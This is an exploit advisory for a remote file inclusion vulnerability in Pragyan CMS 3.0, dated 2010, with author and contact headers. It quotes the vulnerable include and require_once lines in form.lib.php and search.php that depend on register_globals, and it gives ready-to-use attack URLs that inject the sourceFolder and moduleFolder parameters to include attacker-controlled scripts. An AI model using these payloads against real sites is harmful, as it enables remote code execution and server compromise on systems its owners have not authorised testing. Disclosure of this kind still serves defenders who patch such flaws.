[+] Exploit Title: Pragyan CMS 3.0 Remote File Inclusion Vulnerability
[+] Date: 2010-10-21
[+] Author : Cru3l.b0y
[+] Software Link: http://switch.dl.sourceforge.net/project/pragyan/pragyan/3.0/pragyanv3.0-alpha.tar.bz2
[+] Version: 3.0
[+] Tested on: Ubuntu 10.10
[+] Contact : Cru3l.b0y@gmail.com
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, Arash, Kose Ameye Baghie
[+] register_globals = On
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Vul Code [1]: "/cms/modules/form.lib.php"
37 global $sourceFolder;
38 global $moduleFolder;
39 require_once("$sourceFolder/$moduleFolder/form/editform.php");
40 require_once("$sourceFolder/$moduleFolder/form/editformelement.php");
41 require_once("$sourceFolder/$moduleFolder/form/registrationformgenerate.php");
42 require_once("$sourceFolder/$moduleFolder/form/registrationformsubmit.php");
43 require_once("$sourceFolder/$moduleFolder/form/viewregistrants.php");
[+] Exploit [1]:
http://target/path/cms/modules/form.lib.php?sourceFolder=script
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Vul Code [2]: "/cms/modules/search/search.php"
31 $searchModuleFolder = "$sourceFolder/$moduleFolder/search";
32 $include_dir = "$searchModuleFolder/include";
33 include ("$include_dir/commonfuncs.php");
[+] Exploit [2]:
http://target/path/cms/modules/search/search.php?moduleFolder=script
http://target//path/cms/modules/search/search.php?sourceFolder=script
